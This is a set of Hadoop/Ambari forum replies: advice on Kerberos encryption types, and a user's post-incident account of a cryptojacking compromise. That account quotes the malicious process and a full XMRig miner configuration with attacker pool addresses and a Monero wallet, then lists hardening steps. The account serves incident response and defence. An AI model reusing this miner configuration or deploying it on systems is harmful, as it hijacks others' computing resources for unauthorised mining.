@Lija Mohan Key type 3 is DES_CBC_MD5, which is pretty much deprecated (see https://www.opencore.com/blog/2017/3/kerberos-encryption-types/), but by default Ambari requests/creates keytab entries using this type for backwards compatibility. Your KDC is probably rejecting keys encrypted with this type. To fix this, you should go into the Kerberos service settings and edit the "Encryption Type" value under the "Advanced kerberos-env" section. The default value is "aes des3-cbc-sha1 rc4 des-cbc-md5". Change it to "aes des3-cbc-sha1 rc4". You will also want to update the "krb5-conf template" value under "Advanced krb5-conf" to add the following under the "[libdefaults]" section: allow_weak_crypto = false After saving the changes and restarting the Kerberos service (which ensure the krb5.conf file is synced up), you should restart all of the services. If you still see issues, maybe regenerate all keytab files (Admin->Kerberos) and then restart all services. However depending on the KDC implementation you may or may not see a change in the generated keytab files. By default they will look like [root@c7401 ~]# klist -kte /etc/security/keytabs/spnego.service.keytab Keytab name: FILE:/etc/security/keytabs/spnego.service.keytab KVNO Timestamp Principal ---- ------------------- ------------------------------------------------------ 2 09/14/2018 15:06:22 HTTP/c7401.ambari.apache.org@EXAMPLE.COM (des3-cbc-sha1) 2 09/14/2018 15:06:22 HTTP/c7401.ambari.apache.org@EXAMPLE.COM (des-cbc-md5) 2 09/14/2018 15:06:22 HTTP/c7401.ambari.apache.org@EXAMPLE.COM (aes128-cts-hmac-sha1-96) 2 09/14/2018 15:06:22 HTTP/c7401.ambari.apache.org@EXAMPLE.COM (arcfour-hmac) 2 09/14/2018 15:06:22 HTTP/c7401.ambari.apache.org@EXAMPLE.COM (aes256-cts-hmac-sha1-96) ... View more

Thankyou @Sindhu and @Rakesh S. I did a root cause analysis and found that our server is hosted in AWS which is a public cloud and we have not setup Kerberos or firewalls. In the nodes I can find the process w.conf running: yarn 21775 353 0.0 470060 12772 ? Ssl Aug02 5591:25 /var/tmp/java -c /var/tmp/w.conf Within /var/temp I can see a config.json which contains: { "algo": "cryptonight", // cryptonight (default) or cryptonight-lite "av": 0, // algorithm variation, 0 auto select "background": true, // true to run the miner in the background "colors": true, // false to disable colored output "cpu-affinity": null, // set process affinity to CPU core(s), mask "0x3" for cores 0 and 1 "cpu-priority": null, // set process priority (0 idle, 2 normal to 5 highest) "donate-level": 1, // donate level, mininum 1% "log-file": null, // log all output to a file, example: "c:/some/path/xmrig.log" "max-cpu-usage": 95, // maximum CPU usage for automatic mode, usually limiting factor is CPU cache not this option. "print-time": 60, // print hashrate report every N seconds "retries": 5, // number of times to retry before switch to backup server "retry-pause": 5, // time to pause between retries "safe": false, // true to safe adjust threads and av settings for current CPU "threads": null, // number of miner threads "pools": [ { "url": "158.69.133.20:3333", // URL of mining server "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg", // username for mining server "pass": "x", // password for mining server "keepalive": true, // send keepalived for prevent timeout (need pool support) "nicehash": false // enable nicehash/xmrig-proxy support }, { "url": "192.99.142.249:3333", // URL of mining server "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg", // username for mining server "pass": "x", // password for mining server "keepalive": true, // send keepalived for prevent timeout (need pool support) "nicehash": false // enable nicehash/xmrig-proxy support }, { "url": "202.144.193.110:3333", // URL of mining server "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg", // username for mining server "pass": "x", // password for mining server "keepalive": true, // send keepalived for prevent timeout (need pool support) "nicehash": false // enable nicehash/xmrig-proxy support } ], "api": { "port": 0, // port for the miner API https://github.com/xmrig/xmrig/wiki/API "access-token": null, // access token for API "worker-id": null // custom worker-id for API } } which clearly shows some mining attack effected with our system. Worst of it, all the the files were created and process were running with root permissions. Even though I could not confirm the root cause, I guess, some attacker got access to our unprotected/unrestricted 8088 port and identified that the cluster is not Kerberized. Hence he tried some bruteforce and cracked our root password. Thus logged in to our AWS cluster and gained full access of our cluster. Conclusion: 1. Enable kerberos, add Knox, and secure your servers 2. Try to enable VPC 3. Refine the security groups to whitelist needed IPs and ports for HTTP and SSH 4. Give high security passwords for public clouds. 5. Change the default static user in Hadoop. Ambari > HDFS > Configurations >Custom core-site > Add Property hadoop.http.staticuser.user=yarn ... View more

@Irshad Muhammed Yes.Metron Docker works like a charm in Windows. Thanks for the workaround. ... View more